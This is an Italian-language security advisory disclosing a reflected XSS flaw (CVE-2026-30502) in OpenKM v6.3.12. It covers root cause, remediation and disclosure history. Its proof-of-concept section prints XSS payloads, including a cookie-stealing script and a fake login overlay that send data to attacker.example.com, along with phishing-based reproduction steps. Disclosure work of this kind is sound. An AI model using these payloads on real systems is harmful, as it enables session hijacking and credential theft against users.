🛡️ CVE-2026-30502 — XSS riflesso in OpenKM v6.3.12

📌 Sommario

• Panoramica
• Dettagli CVE
• Prodotto Interessato
• Descrizione della Vulnerabilità
• Analisi della Causa Principale
• Impatto e Valutazione del Rischio
• Proof of Concept (PoC)
• Rimedio e Raccomandazioni
• Cronologia della Divulgazione
• Riferimenti
• Informazioni sul Ricercatore

🔍 Panoramica

Questo repository documenta la divulgazione responsabile di CVE-2026-30502, una vulnerabilità di Cross-Site Scripting (XSS) riflesso identificata in OpenKM v6.3.12 — un sistema di gestione documentale open source ampiamente diffuso, utilizzato in ambienti enterprise e governativi.

La vulnerabilità risiede nel parametro Content, che riflette l'input fornito dall'utente nel browser senza un'adeguata sanificazione o codifica dell'output. Un attaccante può creare un URL malizioso contenente JavaScript incorporato e indurre tramite social engineering una vittima a cliccarci sopra, causando l'esecuzione di script nella sessione del browser della vittima.

⚠️ Gravità: Media–Alta | Vettore di attacco: Rete | Privilegi richiesti: Nessuno | Interazione dell'utente: Richiesta

📋 Dettagli CVE

📦 Prodotto Interessato

OpenKM è un sistema di gestione documentale (DMS) gratuito e open source che fornisce un'interfaccia web per gestire, verificare e distribuire documenti aziendali. È utilizzato da aziende, enti governativi e istituzioni educative in tutto il mondo.

• Nome del prodotto: OpenKM Document Management System
• Versione interessata: v6.3.12
• Sito web del fornitore: https://www.openkm.com
• Categoria: Sistema di gestione documentale (DMS)
• Linguaggio / Stack: Java (JSP / Spring Framework)

🧨 Descrizione della Vulnerabilità

È stata identificata una vulnerabilità di Cross-Site Scripting (XSS) riflesso in OpenKM v6.3.12 tramite il parametro Content. L'applicazione non valida né codifica l'input fornito dall'utente prima di rifletterlo nel corpo della risposta HTTP, consentendo l'iniezione e l'esecuzione di JavaScript arbitrario nel browser della vittima.

A differenza dello Stored XSS, il payload di un XSS riflesso non viene persistito nel database — viaggia invece all'interno di un URL appositamente creato. L'attacco si basa sull'induzione della vittima a cliccare un link malizioso (distribuito via email, social media o campagne di phishing), dopo di che il payload viene eseguito silenziosamente nel browser con il contesto di sessione della vittima.

Flusso dell'Attacco

Attacker crafts malicious URL
        │
        ▼
Victim clicks the link (phishing / social engineering)
        │
        ▼
Browser sends GET/POST request with payload in `Content` parameter
        │
        ▼
OpenKM reflects unsanitized input directly into HTML response
        │
        ▼
Browser parses & executes injected JavaScript
        │
        ▼
Session hijacked / credentials harvested / account compromised

🔬 Analisi della Causa Principale

La vulnerabilità deriva dal mancato rispetto da parte dell'applicazione dei controlli di sicurezza input-output sul parametro Content:

User-Crafted URL ──► Content Parameter ──► [NO Validation]
       ──► Reflected in HTML Response ──► [NO Encoding]
              ──► Browser Executes Script ──► Account Compromised

💥 Impatto e Valutazione del Rischio

Lo sfruttamento riuscito di questa vulnerabilità può portare a:

🧪 Proof of Concept (PoC)

⚠️ Disclaimer: Le seguenti informazioni sono condivise esclusivamente a scopo educativo e di ricerca sulla sicurezza, nel rispetto dei principi della divulgazione responsabile. Non testare o utilizzare quanto descritto su sistemi che non possiedi o per i quali non hai ricevuto un'esplicita autorizzazione scritta.

Esempi di Payload (Generici)

// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Credential phishing overlay
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Username"/>'
    +'<input name="p" type="password" placeholder="Password"/>'
    +'<button>Sign In</button></form>';
  document.body.prepend(d);
</script>

Struttura dell'URL Malizioso Creato

https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>

Passaggi per la Riproduzione

1. Identificare l'endpoint vulnerabile in OpenKM v6.3.12 che riflette il parametro Content
2. Creare un URL aggiungendo un payload XSS al parametro Content
3. Codificare il payload in URL se necessario
4. Inviare il link creato a una vittima tramite email, chat o qualsiasi vettore di social engineering
5. Quando la vittima apre il link nella propria sessione autenticata del browser, il payload viene eseguito
6. Osservare l'esecuzione di JavaScript, il furto di cookie o il comportamento di reindirizzamento

🛠️ Rimedio e Raccomandazioni

Per Sviluppatori / Fornitori

Per Amministratori di Sistema

• 🔒 Limitare l'accesso a OpenKM a reti interne/fidate tramite regole firewall
• 🛡️ Distribuire un Web Application Firewall (WAF) con firme di rilevamento XSS come controllo di compensazione
• 📊 Monitorare i log di accesso del web server per rilevare tag script inaspettati o payload codificati nelle query string
• 🔄 Mantenere l'installazione di OpenKM aggiornata all'ultima release sicura
• 📧 Formare gli utenti a prestare attenzione quando fanno clic su link non richiesti al DMS

📅 Cronologia della Divulgazione

In questo processo sono stati seguiti pienamente i principi della divulgazione responsabile, inclusi il coordinamento con il fornitore e il coinvolgimento del CVE Program prima di qualsiasi rilascio pubblico.

📚 Riferimenti

• 🔗 Voce MITRE CVE — CVE-2026-30502
• 🔗 NVD — Database Nazionale delle Vulnerabilità
• 🔗 Sito web ufficiale di OpenKM
• 🔗 OWASP Cheat Sheet per la Prevenzione degli XSS
• 🔗 CWE-79: Cross-site Scripting
• 🔗 OWASP Top 10 — A03:2021 Injection
• 🔗 OWASP Java Encoder

👨‍💻 Informazioni sul Ricercatore

Dharmendra Kumar è un ricercatore indipendente di cybersecurity specializzato in sicurezza delle applicazioni web, penetration testing e divulgazione responsabile delle vulnerabilità. La sua ricerca si concentra sull'identificazione e sulla segnalazione responsabile di difetti di sicurezza reali in software ampiamente utilizzati — contribuendo a rendere le applicazioni più sicure per gli utenti in tutto il mondo.

Aree di Competenza:

• 🌐 Penetration Testing di Applicazioni Web
• 🐛 Bug Bounty Hunting e Ricerca CVE
• 🔍 Scoperta di Vulnerabilità e Advisory di Sicurezza
• 📋 Divulgazione Responsabile e Segnalazione Coordinata di CVE

Contattami:

⚖️ Disclaimer Legale

Questo repository è inteso esclusivamente a scopo educativo e informativo. I dettagli della vulnerabilità e i payload proof-of-concept sono pubblicati in conformità ai principi della divulgazione responsabile. L'autore non approva né si assume alcuna responsabilità per l'uso non autorizzato di queste informazioni. Ottenere sempre un'autorizzazione scritta esplicita prima di condurre test di sicurezza su qualsiasi sistema che non si possiede.

🙏 Ringraziamenti

Un ringraziamento speciale a:

• Il team di sviluppo di OpenKM per la cooperazione e la reattività durante la divulgazione coordinata
• Il MITRE CVE Program per l'assegnazione e la gestione dell'identificativo CVE
• La comunità globale della ricerca sulla sicurezza e del bug bounty per aver continuamente alzato l'asticella della sicurezza delle applicazioni